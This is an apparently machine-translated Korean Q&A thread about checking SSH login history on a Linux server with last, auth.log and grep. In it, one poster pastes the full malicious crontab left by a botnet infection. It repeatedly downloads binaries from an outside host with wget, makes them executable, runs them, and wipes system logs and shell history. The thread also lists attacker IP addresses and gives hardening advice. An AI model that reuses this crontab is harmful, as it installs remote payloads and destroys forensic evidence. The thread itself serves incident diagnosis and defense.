답변:
last
네트워크의 빈 공간 대신 명령 의 출력 과 IP 주소 또는 호스트 이름이있는 항목을보십시오. 경우 sshd
이 시스템에서, 다음이 당신이가는 것을 수행하는 유일한 방법입니다.
(이것은 리눅스 인 경우) 또는, 당신은 확인할 수 있습니다 /var/log/secure
(RH 기반의 배포판에) 또는 /var/log/auth.log
위치를 (데비안 기반 배포판에) sshd
보통 연결을 추적합니다 그들은 (로그인 성공 기준에 포함되지 않는 경우에도 제작 된 히트 utmp
/ wtmp
, 어떤 무엇인가 last
)에서 읽습니다. 예:
Apr 3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr 3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2
IIRC Solaris sshd
(OpenSSH가 아닐 수도 있음 sshd
)는이 정보를/var/adm/messages
편집하다:
@derobert는 훌륭한 지적을합니다. 모든 시스템에서 수퍼 유저 계정이 손상되면 공격자 와 같은 로그 파일을 수정 /var/log/wtmp
하거나 /var/adm/messages
공격자가 수정할 수 있기 때문에 모든 베팅이 해제됩니다 . 서버 외부의 로그를 안전한 위치에 보관하면이를 완화 할 수 있습니다.
예를 들어 한 상점에서 데이터 센터의 여러 서버에서만 감사 로그 파일을 수신 할 수 있도록 보안 된 "감사 저장소"시스템이있었습니다. 장래에 비슷한 설정을하는 것이 좋습니다. "테스트 머신이 있습니다"라는 말은 큰 가게에서 작업하는 것처럼 들립니다.
서버의 ssh에서 수신 된 연결 기록을 볼 수있는 방법이 있습니까?
이것은 당신에게 목록을 제공해야합니다 :
$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u
그럼 당신은 사용할 수 있습니다 geoiplookup
으로부터 geoip-bin
나라에 호스트 이름 또는 IP 주소에서 이동하는 패키지.
sed
기술은 그 신이 아닙니다. 좀 더 복잡한 작업을 수행하려면 Python 또는 전용 로그 파서를 사용하십시오. 그러나 당신이 시도 할 수 있습니다 :zgrep sshd /var/log/auth.log* -h |grep -F 'Failed password'
글쎄, 예상대로 @Joel Davis가 말했듯이 모든 로그가 지워졌지만 @Ramesh가 언급 한 파일이 있는데 루트 사용자에 액세스하려고 시도했지만 올바른 암호를 몇 번 입력하지 못하면 연결이 끊어졌습니다. 재 시도가 너무 많습니다.
주소 중 3 개에 대해 추적 경로를 실행했고 2 개는 중국에서, 다른 하나는 파키스탄에서 왔습니다. 이들은 IP입니다.
221.120.224.179
116.10.191.218
61.174.51.221
서버가 손상된 후 서버에 주입 된 봇넷에 대한 자세한 정보 :
해커는 crontab을 편집하여 x 시간마다 모든 CPU를 사용하고 서버 네트워크 출력을 최대로 한 다음 단순히 죽는 7 개의 실행 파일을 실행합니다. 또한 추가 된 줄을 숨기려면 readme를 crontab에 100 번 추가하므로 추가 할 때 crontab -l
숨겨진 줄이있는 readme에 의해 스팸이됩니다. 이것을 피하기 위해, 나는 crontab -l | grep -v '^#'
그 명령의 출력을 사용했다.
*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg
*/1 * * * * cd /var/log > auth.log
*/1 * * * * cd /var/log > alternatives.log
*/1 * * * * cd /var/log > boot.log
*/1 * * * * cd /var/log > btmp
*/1 * * * * cd /var/log > cron
*/1 * * * * cd /var/log > cups
*/1 * * * * cd /var/log > daemon.log
*/1 * * * * cd /var/log > dpkg.log
*/1 * * * * cd /var/log > faillog
*/1 * * * * cd /var/log > kern.log
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog
*/1 * * * * cd /var/log > user.log
*/1 * * * * cd /var/log > Xorg.x.log
*/1 * * * * cd /var/log > anaconda.log
*/1 * * * * cd /var/log > yum.log
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c
보시다시피, 모든 로그 파일이 지워졌 기 때문에 많은 정보를 검색 할 수 없었습니다.
전체 서버 (모든 VM)가 다운되어 사이트 및 proxmox에서 시간 초과가 발생했습니다. 다음은 그래프입니다 (스파이크는 봇넷이 DDoS를 적극적으로 나타내고 네트워크를 감지 함).
결과적으로 모든 연결을 차단하기 위해 방화벽에 모든 중국어 IP 주소를 추가 할 것입니다 (중국 사용자가 없으므로 신경 쓰지 않습니다). 또한 원격 루트 로그인을 허용하지 않고 긴 복잡성을 사용합니다 비밀번호. 또한 ssh 포트를 변경하고 개인 ssh 키도 사용할 것입니다.
에서 이 대답 나는 아래의 정보를 참조하십시오.
SSH 서버에 대해 이야기하면서 명령 줄 솔루션을 제공합니다.
사용자 로그인 및 로그 아웃을 추적합니다 . 파일 /var/log/auth.log
에는이 정보가 있어야합니다.
해당 사용자의 활동 추적 : 다소 무고한 경우 .bash_history
홈 디렉토리에서 파일 을 확인할 수 있습니다 . 실행 한 명령 목록이 표시됩니다. 문제는 물론이 파일을 삭제하거나 편집 할 수 있다는 것입니다.
사용자가 로그를 삭제하지 못하도록 방지 : 사용자 는를 만질 수 없습니다 auth.log
. 그들이 놀지 못하게하려면 bash_history
몇 가지 트릭을해야합니다.
사용자가 루트 액세스 권한을 얻으려면 어떻게해야합니까? : 넌 망했어. 그가 실수하지 않으면 모든 발자국을 숨길 수 있습니다.
또한 이 답변에서 SSH_CLIENT
변수를 사용하여 클라이언트의 IP 주소를 볼 수 있습니다 .
또한 이 답변에서 ssh 기록을 이러한 파일에 저장할 수 있음을 알았습니다.
뿐만 아니라 /var/log/lastlog
, 3 개 파일이 있습니다 /var/run
과 /var/log
: utmp
, wtmp
그리고 btmp
현재 로그인 (추가 정보)에 대한 정보, 역사 및 로그인 실패를 개최. 자세한 설명 은 위키 를 참조하십시오 . 일반 편집기로는 파일을 편집 할 수 없지만 지울 수 있습니다.